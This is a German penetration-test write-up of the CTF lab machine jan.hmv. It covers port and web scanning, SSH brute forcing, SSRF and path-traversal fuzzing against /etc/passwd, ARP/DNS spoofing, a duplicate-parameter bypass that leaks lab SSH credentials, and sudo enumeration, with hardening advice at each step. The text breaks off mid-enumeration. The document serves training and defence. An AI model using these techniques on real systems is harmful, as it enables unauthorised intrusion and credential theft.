Dieser Bericht dokumentiert die Ergebnisse des Penetrationstests, der auf dem Zielsystem jan.hmv durchgeführt wurde. Das Zielsystem wurde als Teil eines Capture-The-Flag (CTF)-Events mit dem Schwierigkeitsgrad "Easy" konfiguriert. Der Test umfasste eine Reihe von Sicherheitsüberprüfungen, darunter Port-Scans, Schwachstellenscans, Brute-Force-Angriffe und manuelle Exploitation-Versuche.
Zielsystem-Informationen (aus initialer Zusammenfassung und Nmap):
Bewertung: Die Zielinformationen geben einen guten Überblick. Mehrere IP-Adressen während des Tests deuten auf mögliche Netzwerkänderungen (DHCP) oder unterschiedliche Phasen/Konfigurationen der VM hin. Die offenen Ports SSH und ein HTTP-Proxy sind die primären Angriffsflächen. Alpine Linux ist ein leichtgewichtigeres System, das manchmal andere Standardtools oder Pfade aufweist.
Empfehlung (Pentester): Die Angriffsfläche (SSH, HTTP-Proxy) gezielt untersuchen. Die IP-Änderungen im Hinterkopf behalten.
Empfehlung (Admin): Feste IP-Adressen für Server verwenden, um Verwirrung zu vermeiden. MAC-Adresse `00:00:00:00:00:00` überprüfen, falls unerwartet.
Analyse: Der initiale Nmap-Scan wurde auf `192.168.2.166` durchgeführt (obwohl kein expliziter Nmap-Befehl im Text gezeigt wird, fasst der Text die Ergebnisse zusammen und der spätere detaillierte Scan bestätigt sie).
# Scan Informationen (Zusammenfassung aus späterem detaillierten Scan)
# Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 22:31 CET
# Nmap scan report for jan.hmv (192.168.2.166) Host is up (0.00017s latency).
# Not shown: 65533 closed tcp ports (reset)
# Port Informationen
# Port State Service Version
22/tcp open ssh OpenSSH 9.9 (protocol 2.0)
8080/tcp open http-proxy # (Version/Dienst nicht klar erkannt)
# SSH Details
# ssh-hostkey:
# 256 2c:0b:57:a2:b3:e2:0f:6a:c0:61:f2:b7:1f:56:b4:42 (ECDSA)
# 256 45:97:b0:2b:48:9b:4a:36:8e:db:44:bd:3f:15:cf:32 (ED25519)
# HTTP Proxy Details
# _http-open-proxy: Proxy might be redirecting requests
# fingerprint-strings: ... (Zeigt "Welcome to our Public Server. Maybe Internal." bei GET) ... (Zeigt "400 Bad Request" bei anderen Anfragen) ...
# _http-title: Site doesn't have a title (text/plain; charset=utf-8).
# Unrecognized Service: Fingerprint für Port 8080 wird zur Übermittlung vorgeschlagen.
# Geräteinformationen
# MAC Address: 00:00:00:00:00:00 (Oracle VirtualBox virtual NIC)
# Device type: general purpose
# Running: Linux 4.X|5.X
# OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
# OS details: Linux 4.15 - 5.8
# Traceroute
# HOP RTT ADDRESS
# 1 0.17 ms jan.hmv (192.168.2.166)
Bewertung: Der Scan identifiziert die beiden Hauptangriffsvektoren: SSH auf Port 22 und einen Webdienst auf Port 8080, der sich als HTTP-Proxy ausgibt, aber nicht eindeutig erkannt wird. Die Nachricht "Maybe Internal" ist ein starker Hinweis auf eine potenzielle SSRF- (Server Side Request Forgery) oder Proxy-Missbrauchsmöglichkeit. Das Betriebssystem wird als Linux Kernel 4.x/5.x erkannt. Die SSH-Version (OpenSSH 9.9) ist sehr neu und wahrscheinlich nicht direkt durch bekannte Exploits angreifbar.
Empfehlung (Pentester): SSH auf schwache Passwörter prüfen (Brute-Force). Den Dienst auf Port 8080 intensiv untersuchen: Web-Enumeration (Nikto, Dirb, Ffuf), Proxy-Funktionalität testen (mit `curl -x` oder Browser-Proxy-Einstellungen), SSRF-Versuche über mögliche Parameter.
Empfehlung (Admin): SSH-Zugriff absichern (starke Passwörter/Keys, Fail2Ban). Den Dienst auf Port 8080 überprüfen: Ist es ein beabsichtigter Proxy? Wenn ja, absichern (Authentifizierung, Zugriffskontrolle). Wenn nein, deaktivieren.
* Host jan.hmv:8080 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.166
* Trying 192.168.2.166:8080...
* Connected to jan.hmv (192.168.2.166) port 8080
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: jan.hmv:8080
> User-Agent: curl/8.10.1
> Accept: */*
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 30 Jan 2025 21:33:54 GMT
< Content-Length: 45
< Content-Type: text/plain; charset=utf-8
* Connection #0 to host jan.hmv left intact
Analyse: `curl` wird mit `--verbose` (zeigt Verbindungsdetails) und `-I` (sendet eine HEAD-Anfrage, holt nur Header) verwendet, um die HTTP-Header von Port 8080 abzurufen. `-s` unterdrückt die Fortschrittsanzeige.
Bewertung: Bestätigt, dass der Server mit HTTP/1.1 200 OK antwortet. Zeigt Standard-Header wie `Date`, `Content-Length` (45 Bytes, passend zur "Welcome..." Nachricht) und `Content-Type: text/plain`. Es fehlen wichtige Sicherheitsheader.
Empfehlung (Pentester): Das Fehlen von Sicherheitsheadern zur Kenntnis nehmen (wird von Nikto bestätigt).
Empfehlung (Admin): Sicherheitsheader wie `X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc. hinzufügen.
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.2.166
+ Target Hostname: 192.168.2.166
+ Target Port: 8080
+ Start Time: 2025-01-30 22:44:04 (GMT1)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /1921682.tar.lzma: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192_168_2_166.tar: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192.168.cer: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /1921682.war: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /166.tar: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ 7947 requests: 0 error(s) and 163 item(s) reported on remote host
+ End Time: 2025-01-30 22:44:45 (GMT1) (41 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Analyse: `nikto`, ein Webserver-Schwachstellenscanner, wird auf Port 8080 ausgeführt.
Bewertung: Nikto bestätigt das Fehlen der Sicherheitsheader `X-Frame-Options` und `X-Content-Type-Options`. Noch wichtiger ist der Fund mehrerer potenziell interessanter Backup-Dateien, deren Namen auf die IP-Adresse oder Teile davon hindeuten (z.B. `/1921682.tar.lzma`, `/166.tar`). Solche Dateien können sensible Informationen, Konfigurationen oder sogar Quellcode enthalten.
Empfehlung (Pentester): Versuchen, die gefundenen Backup-Dateien herunterzuladen (`curl -O` oder `wget`) und ihren Inhalt zu analysieren.
Empfehlung (Admin): Fehlende Sicherheitsheader hinzufügen. Backup-Dateien *niemals* im Web-Root-Verzeichnis oder öffentlich zugänglichen Bereichen ablegen. Regelmäßig auf solche Dateien prüfen.
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Thu Jan 30 22:46:12 2025
URL_BASE: http://192.168.2.166:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.2.166:8080/ ----
+ http://192.168.2.166:8080/redirect (CODE:400|SIZE:24)
+ http://192.168.2.166:8080/robots.txt (CODE:200|SIZE:16)
-----------------
END_TIME: Thu Jan 30 22:46:13 2025
DOWNLOADED: 4612 - FOUND: 2
Analyse: `dirb`, ein Web Content Scanner, wird verwendet, um nach häufig vorkommenden Verzeichnissen und Dateien zu suchen.
Bewertung: Findet zwei interessante Pfade: `/redirect` (gibt einen Bad Request zurück, wahrscheinlich weil ein Parameter fehlt) und `/robots.txt`.
Empfehlung (Pentester): Den Inhalt von `/robots.txt` untersuchen. Den Pfad `/redirect` genauer analysieren (Parameter fuzzing, SSRF-Versuche).
Empfehlung (Admin): Sicherstellen, dass `robots.txt` keine sensiblen Pfade preisgibt. Die Funktionalität von `/redirect` überprüfen und absichern.
/redirect
/credz
Analyse: Der Inhalt der gefundenen `/robots.txt` wird abgerufen.
Bewertung: Die `robots.txt` listet die Pfade `/redirect` (bereits von `dirb` gefunden) und `/credz` auf. Obwohl `robots.txt` Suchmaschinen anweist, diese Pfade nicht zu indizieren, sind sie für einen Angreifer oft interessante Hinweise auf versteckte oder administrative Bereiche.
Empfehlung (Pentester): Den Pfad `/credz` untersuchen.
Empfehlung (Admin): Sensible Pfade nicht in `robots.txt` auflisten. Der beste Schutz ist eine korrekte Zugriffskontrolle auf diese Pfade.
Only accessible internally.
Parameter 'url' needed.
Analyse: Die Pfade `/credz` und `/redirect` werden direkt aufgerufen.
Bewertung: `/credz` gibt die Meldung "Only accessible internally." zurück, was auf eine Zugriffsbeschränkung (z.B. Prüfung der Quell-IP) hindeutet. `/redirect` meldet, dass der Parameter `url` benötigt wird. Dies bestätigt die Vermutung aus dem `dirb`-Scan und deutet stark auf eine Funktion hin, die eine URL erwartet – ein klassischer Kandidat für SSRF.
Empfehlung (Pentester): Versuchen, die interne Zugriffsbeschränkung für `/credz` zu umgehen (z.B. durch Header-Spoofing wie `X-Forwarded-For: 127.0.0.1` oder durch Ausnutzung von `/redirect`). Den `/redirect`-Endpunkt mit verschiedenen `url`-Parametern testen, um SSRF auszunutzen (Zugriff auf interne Dienste wie `http://127.0.0.1:22`, `http://127.0.0.1:8080`, Metadaten-Endpunkte, oder sogar `file:///etc/passwd`).
Empfehlung (Admin): Die Zugriffskontrolle für `/credz` überprüfen und sicherstellen, dass sie robust ist. Die `/redirect`-Funktion absichern: Nur erlaubte Ziel-URLs zulassen (Whitelist), Protokolle einschränken (nur HTTP/HTTPS), keine internen IPs oder Dateipfade erlauben.
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-30 23:11:55
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344499 login tries (l:1/p:14344499), ~224133 tries per task
[DATA] attacking ssh://192.168.2.166:22/
[ERROR] all children were disabled due too many connection errors
0 of 1 target completed, 0 valid password found
[INFO] Writing restore file because 2 server scans could not be completed
[ERROR] 1 target was disabled because of too many errors
[ERROR] 1 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-30 23:12:19
Analyse: `hydra` wird verwendet, um einen Brute-Force-Angriff auf den SSH-Dienst (Port 22) auf `192.168.2.166` durchzuführen. Es wird versucht, das Passwort für den Benutzer `jan` (`-l jan`) mit der `rockyou.txt`-Wortliste (`-P ...`) und 64 parallelen Threads (`-t 64`) zu finden.
Bewertung: Fehlgeschlagen. Hydra bricht den Angriff wegen zu vieler Verbindungsfehler ab (`[ERROR] all children were disabled due too many connection errors`). Dies liegt wahrscheinlich daran, dass der SSH-Server (oder ein vorgeschaltetes Tool wie `fail2ban`) zu viele schnelle Login-Versuche erkennt und blockiert. Die hohe Thread-Anzahl (`-t 64`) ist hier kontraproduktiv.
Empfehlung (Pentester): Brute-Force-Angriffe auf SSH mit einer deutlich geringeren Thread-Anzahl wiederholen (`-t 4` oder sogar `-t 1`). Andere Benutzernamen testen (falls bekannt). Fokus auf andere Angriffsvektoren legen.
Empfehlung (Admin): Rate-Limiting für SSH-Logins implementieren (`fail2ban` oder SSHD-Konfiguration `MaxAuthTries`). Starke Passwörter oder Key-basierte Authentifizierung erzwingen.
Target: http://192.168.2.167:8080/redirect?url=http://127.0.0.1:FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
# (Keine positiven Ergebnisse)
Total time: 0
Processed Requests: 65535
Filtered Requests: 65535
Requests/sec.: 0
Analyse: `wfuzz` wird verwendet, um über den `/redirect`-Endpunkt auf `192.168.2.167` einen Portscan auf dem Localhost (`127.0.0.1`) des Zielsystems durchzuführen (SSRF). Es wird eine Wortliste mit Portnummern (`/usr/share/wordlists/ports`) für `FUZZ` eingesetzt. Antworten mit Statuscode 404 (`--hc 404`) und 27 Zeichen (`--hh 27`, wahrscheinlich die Größe der "Only accessible internally"-Meldung oder einer anderen Standardantwort) werden ignoriert.
Bewertung: Fehlgeschlagen. Es wurden keine Ports auf `127.0.0.1` gefunden, die über den `/redirect`-Endpunkt erreichbar sind und eine andere Antwort als 404 oder die Standardmeldung liefern. Entweder blockiert der Proxy den Zugriff auf `127.0.0.1` oder es sind keine interessanten Dienste auf den getesteten Ports lokal aktiv.
Empfehlung (Pentester): Andere interne IPs oder Hostnamen über `/redirect` testen. Verschiedene Protokolle (`file://`, `gopher://`) versuchen. Andere Parameter für SSRF fuzzeln.
Empfehlung (Admin): SSRF-Schutzmaßnahmen für `/redirect` implementieren (Whitelist für Ziel-URLs, Blockieren von internen IPs und `file://`-Protokoll).
remote username contains invalid characters
remote username contains invalid characters
Analyse: Versuch, sich per SSH mit einem leeren Benutzernamen anzumelden.
Bewertung: Fehlgeschlagen. Der SSH-Server lehnt leere Benutzernamen korrekt ab.
Empfehlung (Pentester): Nur valide Benutzernamen für SSH-Versuche verwenden.
Empfehlung (Admin): Standardkonfiguration beibehalten, die leere Benutzernamen verbietet.
Target: http://192.168.2.167:8080/credz?FUZZ=../../../../../../../../../../../../../../../../etc/passwd
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
# (Keine positiven Ergebnisse)
Total time: 113.3946
Processed Requests: 220563
Filtered Requests: 220563
Requests/sec.: 1945.092
Analyse: Versuch, mittels `wfuzz` eine Path-Traversal-Schwachstelle im `/credz`-Endpunkt auszunutzen. Es wird versucht, `/etc/passwd` zu lesen, indem verschiedene Verzeichnisnamen (`FUZZ` aus der Wortliste) als Parameter verwendet werden, gefolgt von einer langen Kette von `../`.
Bewertung: Fehlgeschlagen. Es wird keine Antwort gefunden, die vom Standard (404 oder 27 Zeichen) abweicht. Der `/credz`-Endpunkt scheint nicht direkt für Path Traversal über beliebige Parameter anfällig zu sein.
Empfehlung (Pentester): Andere Methoden zur Umgehung der "Only accessible internally"-Beschränkung für `/credz` versuchen (z.B. SSRF via `/redirect`).
Empfehlung (Admin): Robuste Input-Validierung und Path-Normalisierung implementieren, um Path Traversal zu verhindern.
Only accessible internally.
Only accessible internally.
Only accessible internally.
Analyse: Mehrere Versuche, über den `/redirect`-Endpunkt auf eine externe URL (`https://google.de`) zuzugreifen, während versucht wird, eine interne Quell-IP durch Setzen der Header `X-Forwarded-For` oder `X-Real-IP` vorzutäuschen.
Bewertung: Fehlgeschlagen. Die Anwendung gibt weiterhin "Only accessible internally." zurück. Das bedeutet, dass der Proxy/die Anwendung diese Header entweder ignoriert oder die eigentliche Quell-IP für die Zugriffskontrolle verwendet, oder dass die interne Beschränkung nicht auf der Quell-IP basiert, sondern darauf, *welche* Ziel-URL über den Proxy abgerufen werden darf.
Empfehlung (Pentester): Testen, ob interne Ziel-URLs über `/redirect` funktionieren. Andere Header (`Client-IP`, etc.) versuchen.
Empfehlung (Admin): Sich nicht auf Header wie `X-Forwarded-For` für Sicherheitsentscheidungen verlassen, da diese leicht manipuliert werden können. Zugriffskontrolle für den Proxy auf vertrauenswürdige Quell-IPs und erlaubte Ziel-URLs beschränken.
Only accessible internally.
Only accessible internally.
Only accessible internally.
Only accessible internally.
Only accessible internally.
Analyse: Versuche, über den `/redirect`-Endpunkt auf lokale/interne HTTP-Ziele zuzugreifen (`127.0.0.1`, `localhost`, die eigene IP `192.168.2.167`, IPv6 Loopback `[::1]`).
Bewertung: Alle Versuche scheitern mit "Only accessible internally.". Dies ist überraschend, da die Meldung suggeriert, dass *nur* interne Zugriffe erlaubt sind. Es scheint, dass die Anwendung entweder sehr restriktiv ist, welche internen Ziele erlaubt sind, oder die Fehlermeldung irreführend ist.
Empfehlung (Pentester): Die Logik hinter der Fehlermeldung und dem `/redirect`-Endpunkt ist unklar. Möglicherweise sind nur bestimmte interne IPs oder Hostnamen erlaubt, oder es gibt eine andere Bedingung. Der Fund mit `url=ben&url=/credz` deutet auf eine Parsing-Schwäche hin, die eventuell auch hier anwendbar ist.
Empfehlung (Admin): Die Implementierung von `/redirect` gründlich prüfen und sicherstellen, dass sie wie beabsichtigt funktioniert und keine unerwünschten Zugriffe erlaubt.
root@192.168.2.167's password:
jan@192.168.2.167's password:
# /etc/proxychains4.conf (Auszug)
socks5 127.0.0.1 1080
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain ... 127.0.0.1:1080 ... timeout
curl: (7) Failed to connect to 192.168.2.167 port 8080 after 0 ms: Could not connect to server
Analyse: Versuch, einen SOCKS-Proxy durch SSH Dynamic Port Forwarding (`ssh -D 1080 ...`) aufzubauen und diesen dann mit `proxychains` zu verwenden, um `curl`-Anfragen über den SSH-Tunnel zu leiten. Ziel ist es, Anfragen von `127.0.0.1` auf dem *Zielsystem* zu initiieren.
Bewertung: Fehlgeschlagen, da die SSH-Logins für `root` und `jan` (ohne bekanntes Passwort zu diesem Zeitpunkt) fehlschlagen. Daher kann kein SSH-Tunnel aufgebaut werden, und `proxychains` kann sich nicht mit dem lokalen SOCKS-Proxy auf Port 1080 verbinden.
Empfehlung (Pentester): Diese Methode funktioniert erst, wenn gültige SSH-Zugangsdaten vorhanden sind.
Empfehlung (Admin): SSH-Zugriff absichern.
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://192.168.2.167:8080/credz/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 7 (--fw 7)
________________________________________________
:: Progress: [4614/4614] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
Analyse: `ffuf` wird verwendet, um nach Unterverzeichnissen oder Dateien unter dem Pfad `/credz` zu suchen. Antworten mit genau 7 Wörtern werden ignoriert (`--fw 7`), wahrscheinlich um die "Only accessible internally."-Meldung herauszufiltern.
Bewertung: Fehlgeschlagen. Es werden keine weiteren Ressourcen unter `/credz` gefunden.
Empfehlung (Pentester): Konzentration auf die Umgehung der Zugriffsbeschränkung für `/credz` selbst.
Empfehlung (Admin): Keine neuen Erkenntnisse.
# ... (Verbose Output) ...
< HTTP/1.1 200 OK
< Date: Fri, 31 Jan 2025 22:45:48 GMT
< Content-Length: 27
< Content-Type: text/plain; charset=utf-8
Only accessible internally.
# ... (Verbose Output) ...
< HTTP/1.1 400 Bad Request
< Content-Type: text/plain; charset=utf-8
< X-Content-Type-Options: nosniff
< Date: Fri, 31 Jan 2025 22:46:06 GMT
< Content-Length: 24
Parameter 'url' needed.
Analyse: Erneute Abfrage von `/credz` und `/redirect` mit maximaler Verbosity (`-vv`).
Bewertung: Bestätigt die bereits bekannten Antworten und Header. Keine neuen Erkenntnisse.
Empfehlung (Pentester/Admin): Keine Aktion erforderlich.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-31 23:47 CET
Nmap scan report for jan (192.168.2.167)
Host is up (0.00017s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
MAC Address: 08:00:27:B0:BD:20 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds
Analyse: Nmap wird mit dem Skript `http-title` verwendet, um den Titel der Webseite auf Port 8080 der (jetzt wahrscheinlich korrekten) IP `192.168.2.167` zu extrahieren.
Bewertung: Bestätigt erneut, dass die Seite keinen HTML-Titel hat, da der Content-Type `text/plain` ist.
Empfehlung (Pentester/Admin): Keine neuen Erkenntnisse.
# Annahme: Gibt "Only accessible internally." zurück
# Annahme: Gibt "Only accessible internally." zurück
# Annahme: Gibt "Only accessible internally." zurück
# Annahme: Gibt "Only accessible internally." zurück
# Annahme: Gibt "Only accessible internally." zurück
# Annahme: Gibt "Only accessible internally." zurück
Analyse: Eine Reihe weiterer Versuche, SSRF über den `/redirect`-Endpunkt auszunutzen. Getestet werden: Header-Spoofing (`X-Forwarded-For`, `Referer`), Zugriff auf lokale Dateien (`file://`), Zugriff auf interne Ports (`http://127.0.0.1:22`), URL-Encoding (`%3A`, `%2F`), andere Protokolle (`gopher://`, `data:`).
Bewertung: Alle Versuche scheinen fehlgeschlagen zu sein (basierend auf dem Fehlen einer Erfolgsmeldung und dem späteren Erfolg mit der doppelten URL-Parameter-Methode). Der `/redirect`-Endpunkt ist entweder gut gegen Standard-SSRF-Techniken geschützt oder die "Only accessible internally"-Meldung wird auch bei anderen Fehlern oder blockierten Anfragen ausgegeben.
Empfehlung (Pentester): Ungewöhnlichere Bypass-Techniken oder Schwachstellen in der URL-Verarbeitung suchen (wie der später gefundene Doppel-Parameter-Trick).
Empfehlung (Admin): Umfassende SSRF-Schutzmaßnahmen implementieren (Input-Validierung, Whitelisting, Protokollbeschränkung, Netzwerksegmentierung).
bettercap v2.33.0 (built for linux amd64 with go1.22.6) [type 'help' for a list of commands]
192.168.2.0/24 > 192.168.2.199 » [00:05:08] [sys.log] [war] Could not find mac for # (IP fehlt)
192.168.2.0/24 > 192.168.2.199 » set arp.spoof.fullduplex true
192.168.2.0/24 > 192.168.2.199 » set arp.spoof.targets 192.168.2.167
192.168.2.0/24 > 192.168.2.199 » set dns.spoof.address 192.168.2.199
192.168.2.0/24 > 192.168.2.199 » set dns.spoof.all true
192.168.2.0/24 > 192.168.2.199 » set dns.spoof.domains jan.hmv
192.168.2.0/24 > 192.168.2.199 » dns.spoof on
[00:08:24] [sys.log] [inf] dns.spoof jan.hmv -> 192.168.2.199
# ... (Netzwerk-Discovery und ARP Spoofing Start) ...
192.168.2.0/24 > 192.168.2.199 » arp.spoof on
192.168.2.0/24 > 192.168.2.199 » [00:08:31] [sys.log] [war] arp.spoof full duplex spoofing enabled, if the router has ARP spoofing mechanisms, the attack will fail.
# ... (Weitere Discovery-Meldungen) ...
Analyse: Versuch, mit `bettercap` einen Man-in-the-Middle (MitM)-Angriff durchzuführen. Es wird ARP-Spoofing gegen das Ziel `192.168.2.167` aktiviert (`arp.spoof.targets`) und DNS-Spoofing eingerichtet, um Anfragen an `jan.hmv` auf die Angreifer-IP (`192.168.2.199`) umzuleiten.
Bewertung: Der Befehl wird ausgeführt, aber es gibt keine Anzeichen im weiteren Bericht, dass dieser MitM-Angriff zu einem Erfolg (z.B. Abfangen von Credentials) geführt hat. Er scheint eine Sackgasse gewesen zu sein oder wurde abgebrochen.
Empfehlung (Pentester): MitM-Angriffe können effektiv sein, erfordern aber oft, dass der Angreifer relevanten Traffic abfängt. Wenn kein Erfolg, andere Methoden verfolgen.
Empfehlung (Admin): MitM-Erkennungstools (z.B. ARP-Watch) und dynamische ARP-Inspektion auf Switches einsetzen. DNSSEC zur Validierung von DNS-Antworten nutzen.
Analyse: Kommentar des Pentesters bezüglich Reverse Engineering.
es gab keinen anderen Weg als per init=/bin/sh die maschine zu reversen
Bewertung: Dieser Kommentar scheint sich auf eine alternative, nicht im Detail gezeigte Methode zu beziehen (möglicherweise Booten der VM mit geändertem Kernel-Parameter `init=/bin/sh`, um direkten Root-Zugriff ohne Login zu erhalten). Dies steht im Widerspruch zum dokumentierten Exploit-Pfad über die Web-Schwachstelle und SSH.
Empfehlung (Pentester): Den tatsächlichen erfolgreichen Pfad klar dokumentieren. Wenn alternative Methoden versucht wurden, diese klar kennzeichnen oder weglassen, wenn sie nicht relevant für den finalen Exploit waren.
Empfehlung (Admin): Sicherstellen, dass der physische oder virtuelle Zugriff auf die Maschine gesichert ist, um Boot-Manipulationen zu verhindern.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-02 00:55 CET
Nmap scan report for jan (192.168.2.170)
Host is up, received arp-response (0.000088s latency).
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
MAC Address: 00:00:00:00:00:00 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 0.24 seconds
kex_exchange_identification: read: Connection reset by peer
Connection reset by 192.168.2.170 port 22
Analyse: Nmap bestätigt mit `--reason`, dass Port 22 auf der *neuen* IP `192.168.2.170` offen ist (Antwort: `syn-ack`). Ein direkter SSH-Login-Versuch auf diese IP schlägt jedoch mit `Connection reset by peer` fehl.
Bewertung: Der Port ist offen, aber der SSH-Dienst scheint Verbindungen sofort abzulehnen oder zurückzusetzen. Dies könnte an einer Firewall-Regel liegen, einer fehlerhaften SSHD-Konfiguration, oder weil der Dienst gerade neu gestartet wird oder abgestürzt ist.
Empfehlung (Pentester): Kurz warten und erneut versuchen. Andere SSH-Optionen testen (z.B. `-v` für Verbose-Output). Den Exploit-Pfad über Port 8080 weiterverfolgen.
Empfehlung (Admin): SSHD-Logs auf dem Zielsystem prüfen (`/var/log/auth.log` oder ähnlich), um den Grund für den Verbindungsabbruch zu finden. Firewall-Regeln überprüfen.
# (Keine Ausgabe)
# (Keine Ausgabe)
Analyse: Öffnen der `rockyou.txt`-Wortliste im Editor und Ausführen eines Python-Skripts namens `crack_SSH.py`.
Bewertung: Der Zweck dieser Schritte ist unklar, da sie nicht direkt zum erfolgreichen Exploit beitragen. Möglicherweise Vorbereitung für einen Brute-Force-Angriff, der nicht erfolgreich war oder nicht gezeigt wird.
Empfehlung (Pentester): Nur relevante Schritte im Bericht aufführen oder den Zweck unklarer Schritte erläutern.
Empfehlung (Admin): Keine Aktion erforderlich.
ssh/EazyLOL
Analyse: Ein `curl`-Request an den `/redirect`-Endpunkt auf `192.168.2.170`. Es werden *zwei* `url`-Parameter übergeben: `url=ben` und `url=/credz`.
Bewertung: Kritischer Erfolg! Dieser spezielle Request umgeht offenbar die "Only accessible internally"-Beschränkung für `/credz`. Die Anwendung scheint nur den ersten `url`-Parameter (`ben`) für eine mögliche (unzureichende) Validierung zu verwenden, aber verarbeitet dann den zweiten `url`-Parameter (`/credz`) und gibt dessen Inhalt zurück. Der Inhalt von `/credz` sind die Zugangsdaten: Benutzer `ssh`, Passwort `EazyLOL`.
Empfehlung (Pentester): Die gefundenen Zugangsdaten (`ssh`/`EazyLOL`) sofort für den SSH-Login verwenden.
Empfehlung (Admin): Die Parameterverarbeitung im `/redirect`-Endpunkt dringend korrigieren. Nur den ersten Parameter eines Namens berücksichtigen oder doppelte Parameter generell ablehnen. Den Inhalt von `/credz` entfernen und Zugangsdaten sicher verwalten.
ssh@192.168.2.170's password: # (Hier wurde EazyLOL eingegeben) Welcome to Alpine! The Alpine Wiki contains a large amount of how-to guides and general information about administrating Alpine systems. See. You can setup the system with the command: setup-alpine You may change this message by editing /etc/motd. jan:~$ id uid=1000(ssh) gid=1000(ssh) groups=1000(ssh) jan:~$
Analyse: Erfolgreicher SSH-Login auf `192.168.2.170` mit den zuvor gefundenen Zugangsdaten (Benutzer: `ssh`, Passwort: `EazyLOL`). Der `id`-Befehl bestätigt die Benutzer- und Gruppen-ID.
Bewertung: Initial Access erfolgreich erlangt! Der Benutzer `ssh` hat Standardrechte (uid=1000).
Empfehlung (Pentester): System weiter enumerieren: `sudo -l`, Home-Verzeichnis prüfen, nach Flags suchen, nach PrivEsc-Möglichkeiten suchen.
Empfehlung (Admin): Schwachstelle in `/redirect` beheben. Stärkere Passwörter verwenden. Überwachen von SSH-Logins.
Matching Defaults entries for ssh on jan:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for ssh:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"
User ssh may run the following commands on jan:
(root) NOPASSWD: /sbin/service sshd restart
Analyse: Der Befehl `sudo -l` wird ausgeführt, um zu prüfen, welche Befehle der Benutzer `ssh` mit `sudo` ausführen darf.
Bewertung: Kritischer Fund für Privilege Escalation! Der Benutzer `ssh` darf den Befehl `/sbin/service sshd restart` als `root` ohne Passwort (`NOPASSWD`) ausführen. Dies ist ein häufiger Vektor für PrivEsc, da man oft die Konfigurationsdatei des Dienstes (hier `/etc/ssh/sshd_config`) ändern und dann den Dienst neu starten kann, um Änderungen wirksam zu machen oder Befehle als root auszuführen.
Empfehlung (Pentester): Prüfen, ob die Datei `/etc/ssh/sshd_config` für den Benutzer `ssh` schreibbar ist oder ob es eine Möglichkeit gibt, sie zu manipulieren. Den `sudo`-Eintrag nutzen, um eine manipulierte SSH-Konfiguration zu laden.
Empfehlung (Admin): `sudo`-Rechte nach dem Prinzip der geringsten Rechte vergeben. Das Neustarten von Diensten sollte nur Administratoren erlaubt sein. Wenn ein Benutzer einen Dienst neu starten muss, spezifischere Befehle oder Skripte freigeben, die keine Konfigurationsänderungen erlauben.
/etc/motd:Welcome to Alpine!
grep: /etc/shadow: Permission denied
grep: /etc/shadow-: Permission denied
grep: /etc/sudoers: Permission denied
grep: /etc/sudoers.d: Permission denied
